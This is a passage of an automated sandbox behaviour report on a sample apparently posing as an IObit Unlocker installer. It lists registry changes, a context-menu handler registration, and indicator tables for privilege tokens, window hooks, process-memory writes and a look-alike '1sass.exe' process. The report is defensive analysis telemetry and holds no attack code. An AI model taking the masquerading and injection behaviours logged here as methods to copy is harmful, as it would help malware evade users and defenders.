Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "648"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\UnLockerMenu	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\NextUpdateDate = "421893371"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\bing.com\NumberOfSubdomai = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "749"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "690"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F844CB30-D8B9-4AA5-8B0D-B2229285B4AE}	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "589"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{410BF280-86EF-4E0F-8279-EC5848546AD3}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 368659a49ba0da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\MrtCache	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz!	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{410BF280-86EF-4E0F-8279-EC5848546AD3}\ = "UnLockerMenu Class"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\UnLockerMenu	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F844CB30-D8B9-4AA5-8B0D-B2229285B4AE}\1.0\0\win64	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exeunlocker.tmpTaskHelper.exeIObitUnlocker.exe1sass.exe

pid	process
4172	chrome.exe
4172	chrome.exe
2716	chrome.exe
2716	chrome.exe
3840	unlocker.tmp
3840	unlocker.tmp
3840	unlocker.tmp
3840	unlocker.tmp
1976	TaskHelper.exe
1976	TaskHelper.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe
5040	1sass.exe

Suspicious behavior: LoadsDriver 8 IoCs

Processes:

mssql.exemssql.exe

pid process

2660 mssql.exe
2660 mssql.exe
2660 mssql.exe
4508 mssql.exe
4508 mssql.exe
4508 mssql.exe
4508 mssql.exe
632

pid	process
2660	mssql.exe
2660	mssql.exe
2660	mssql.exe
4508	mssql.exe
4508	mssql.exe
4508	mssql.exe
4508	mssql.exe
632

Suspicious behavior: MapViewOfSection 10 IoCs

Processes:

MicrosoftEdgeCP.exe

pid	process
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

Processes:

chrome.exe

pid process

4172 chrome.exe
4172 chrome.exe
4172 chrome.exe
4172 chrome.exe
4172 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	4400	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4400	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4400	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4400	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4312	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4312	MicrosoftEdgeCP.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe
Token: SeShutdownPrivilege	4172	chrome.exe
Token: SeCreatePagefilePrivilege	4172	chrome.exe

Suspicious use of FindShellTrayWindow 38 IoCs

Processes:

chrome.exeSearchHost.exeunlocker.tmp

pid	process
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
2260	SearchHost.exe
3840	unlocker.tmp
4172	chrome.exe

Suspicious use of SendNotifyMessage 25 IoCs

Processes:

chrome.exeSearchHost.exe

pid	process
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
4172	chrome.exe
2260	SearchHost.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exemssql.exemssql2.exeSearchHost.exemssql.exeIObitUnlocker.exe

pid	process
64	MicrosoftEdge.exe
2980	MicrosoftEdgeCP.exe
4400	MicrosoftEdgeCP.exe
2980	MicrosoftEdgeCP.exe
400	MicrosoftEdgeCP.exe
2660	mssql.exe
1200	mssql2.exe
2260	SearchHost.exe
2660	mssql.exe
4508	mssql.exe
4508	mssql.exe
4508	mssql.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe
5092	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

MicrosoftEdgeCP.exechrome.exe

description	pid	process	target process
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 2744	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 2980 wrote to memory of 1944	2980	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 4172 wrote to memory of 2868	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2868	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 372	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 4176	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 4176	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe
